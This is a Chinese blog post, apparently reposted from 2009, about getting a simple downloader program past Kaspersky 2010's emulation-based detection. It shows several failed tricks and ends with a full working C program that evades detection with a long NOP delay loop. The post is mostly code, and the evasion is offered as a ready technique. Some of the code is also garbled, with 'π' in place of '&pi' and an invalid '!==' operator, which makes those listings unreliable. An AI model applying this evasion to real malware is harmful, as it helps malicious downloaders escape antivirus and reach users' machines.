使用NOP过卡巴(2009)

来源:互联网 发布:俄国人不怕死知乎 编辑:程序博客网 时间:2024/04/29 14:12

http://huaidan.org/archives/3440.html

一个最简单的Downloader是:

#include "stdafx.h"#include <urlmon.h>#include <Shellapi.h>#pragma comment (lib,"Urlmon.lib")int APIENTRY _tWinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPTSTR    lpCmdLine,                     int       nCmdShow){TCHAR szFileName[MAX_PATH] = {0};URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);return 0;}

这个程序是使用Visual Studio 2008创建的Win32窗口工程。编译后卡巴2010直接报Downloader。首先使用了之前提到的xyzreg提到的方法,现在在卡巴2010下已经不适用,简单的测试了一下卡巴2010会把自己模拟成explorer.exe。所以检查父进程是否是explorer.exe的方法不行了,但是如果检查自己的父进程是否是cmd.exe就可以了。当然这个实用性并不强,因为要求Downloader必须由cmd.exe启动。

我觉得应该有其他的方法可以逃过虚拟查毒,但是这里只从虚拟查毒本身入手。首先想到的是这个虚拟机和真实环境是否有区别?这个回答当然是肯定的。但是这些区别在哪里,这些区别是否会影响到。是否存在一种情况虚拟机无法虚拟而导致虚拟环境下无法执行到URLDownloadToCacheFile和ShellExecute那就不会检查到是Downloader了。这个思想很简单,然后要怎么实现呢。

首先想到虚拟机是否虚拟了异常处理,如果没有虚拟异常处理,那我们认为的制造一个异常,将具有Downloader特性的API调要放到异常处理程序中不就绕过了吗。于是有了下面的代码

BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult){    __try    {*pResult = dividend / divisor;    }    __except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?             EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)    {TCHAR szFileName[MAX_PATH] = {0};URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);return TRUE;    }    return TRUE;}

在Downloader的程序入口以参数divisor为0调用这个SafeDiv函数,。这样就会产生一个除0的错误。结果是卡巴报Downloader!看样子卡巴有对异常处理虚拟的能力。

恩。。。如果我在代码中添加int 3中断会发生什么情况呢?应该也虚拟了。现在就来试试,果然在Downloader入口添加int 3后当然是查不出来了,呵呵,程序也运行不了了。接下来就看看能不能找到方法让程序在真实情况下能运行在,虚拟机下停住了。没有多久想了一个替代的方法,判断程序的输入参数。通过检查程序的输入参数来控制程序的执行流程。简单的在Downloader入口添加判断程序参数的代码:

if(strcmp(argv[1],"1")!== 0)return;

程序运行时输入参数“1”程序执行Downloader的功能,在虚拟机中执行时没有参数输入所以程序返回,检测不到恶意函数调用顺序。当然这样的恶意代码是丑陋的,所以我想到使用CreateProcess来启动Downloader自己的另一个实例。代码如下:

部分变量声明和初始化代码省略。。。

INT32 divisor = 1;if(argc == 1){TCHAR szPath[MAX_PATH];GetModuleFileName(NULL,szPath,MAX_PATH);CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,π);ExitProcess(0);return;}if(strcmp(argv[1],"2") == 0)divisor = 0;SafeDiv(10,divisor,&Result);ExitProcess(0);return;}

编译成功后,使用卡巴2010查毒。报Downloader!失望啊!

将对函数参数检查的方式换成使用“命名对象”的方式:

//定义一个“命名对象”TCHAR szMutex[] = L”11111”;HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);int tmp = GetLastError();if(tmp == 0){STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory( &si, sizeof(si) );si.cb = sizeof(si);ZeroMemory( π, sizeof(pi) );TCHAR szPath[MAX_PATH];GetModuleFileName(NULL,szPath,MAX_PATH);CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π);return 0;}TCHAR szFileName[MAX_PATH] = {0};URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);return 0;

报Downloader!失望!

看样子卡巴的虚拟机对API的模拟和程序执行的流程虚拟很到位!不知道对时间的虚拟的怎么样?代码中有Sleep(10000000)的语句会不会影响虚拟查毒的时间呢?根据我的实验在其中加入Sleep函数睡眠很长的一段时间并没有影响虚拟杀毒查出Downloader的时间,所以估计对时间的虚拟可能不好。将上面的代码中在CreateProcess调用之后调用Sleep睡眠一段较长的时间如5秒,然后调用CloseHandle关闭“命名事件”。
如果卡巴遇到Sleep函数简单的跳过,则在虚拟机中执行的顺序将是先执行Sleep后的CloseHandle关闭事件,然后再进入到新实例中创建“命名事件”,在这种情况下就能创建成功,所以程序的执行流程不会进入到URLDownloadToCacheFile处,以此绕过检测。但是实际情况时仍然被报Downloader,说明卡巴2010对Sleep等时间相关的函数虚拟的也很好。

到这里停下来想想,我们已经掌握了卡巴虚拟机执行的许多特性了,最理想的方案是在上述方法中进行改进,能达到对卡巴虚拟机执行的时间方面的攻击。于是想到使用大量无意义的代码块来模拟Sleep函数的功能,原因是对于大量循环的无意义操作卡巴是否完全虚拟其执行,我想应该是没有的。于是代码变为:

#include "stdafx.h"#include <urlmon.h>#include <Shellapi.h>#include <intrin.h>#pragma comment (lib,"Urlmon.lib")// Global Variables:HINSTANCE hInst;    // current instance// Forward declarations of functions included in this code module:int APIENTRY _tWinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPTSTR    lpCmdLine,                     int       nCmdShow){TCHAR szMutex[] = L"1111";HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);int tmp = GetLastError();if(tmp == 0){STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory( &si, sizeof(si) );si.cb = sizeof(si);ZeroMemory( π, sizeof(pi) );TCHAR szPath[MAX_PATH];GetModuleFileName(NULL,szPath,MAX_PATH);CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,π);for(int i = 0;i < 1000000000; i++)__nop();CloseHandle(hEvnet);return 0;}TCHAR szFileName[MAX_PATH] = {0};URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);return 0;}

编译。对该文件执行查毒,没有检测到威胁。成功了。

总的说来,卡巴的虚拟机没有真正的像真实环境一样对像

for(int i = 0;i < 1000000000; i++)__nop();

这样的语句块进行真正的执行,导致虚拟机的时间和真实环境下的时间不一致导致在虚拟机中和真实环境下的执行流程的不一样。这样就实现了对卡巴虚拟查毒的绕过。

总的说来,卡巴斯基是一个很强大的杀毒软件,杀毒能力确实也比较强,但是也不应该过分相信卡巴。有人说的好,要让人正确认识卡巴斯基这个优秀的杀毒软件。

另外,本文的基于超时的攻击思路和这篇2年前的文章[2]颇有一番异曲同工之妙,而”Timing Attack”在Google Scholar上的搜索结果有1,110,000[3]条!希望通过本文,能够让各位看官重新认识Timing Attack的奇妙之处。

最后,严重的感谢一下c4pr1c3的帮助和关怀。

相关文献:
[1] http://www.xyzreg.net/blog/read.php?39&page=5
[2] http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf
[3] http://scholar.google.com/scholar?q=timing+attack&hl=en&btnG=Search

原创粉丝点击